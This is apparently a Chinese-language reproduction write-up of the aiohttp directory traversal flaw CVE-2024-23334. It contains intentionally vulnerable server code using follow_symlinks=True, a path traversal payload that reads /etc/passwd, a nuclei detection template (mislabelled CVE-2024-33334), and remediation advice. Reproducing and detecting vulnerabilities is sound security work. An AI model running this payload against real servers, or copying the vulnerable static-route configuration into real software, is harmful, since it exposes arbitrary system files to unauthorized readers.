目录

Aiohttp目录穿越(CVE-2024-23334)复现

漏洞详情

aiohttp是一个用于asyncio和Python的异步HTTP客户端/服务器框架。当使用aiohttp作为web服务器并配置静态路由时,有必要指定静态文件的根路径。此外,选项follow_symlinks可用于确定是否遵循静态根目录之外的符号链接。当follow_symlinks设置为True时,不需要验证读取文件是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使不存在符号链接。

环境搭建与复现

Linux新建static目录和test.py文件,存在漏洞的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from aiohttp import web

async def index(request):
    return web.Response(text="Hello, World!")

app = web.Application()
app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)

if __name__ == '__main__':
    web.run_app(app)

安装aiohttp3.9.1:pip3 install aiohttp==3.9.1

https://s2.loli.net/2024/02/28/ygTjnaHA9oZLk1N.png

payload:/static/../../../../../etc/passwd,需要针对../进行模糊测试

https://s2.loli.net/2024/02/28/ezJBSYLDIE15qpb.png

nuclei-template:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
id: aiohttp-lfi

info:
  name: aiohttp-lfi
  author: dukodvco
  severity: medium
  description: CVE-2024-33334
  reference:
    - https://github.com/vulhub/vulhub/pull/501
  tags: aiohttp

http:
  - raw:
      - |+
        GET /static/../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        

    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*?:[0-9]*:[0-9]*:'
      
      - type: status
        status:
          - 200

漏洞修复

禁用follow_symlinks; 可使用反向代理缓解措施; 升级版本,3.9.2版修复了此问题。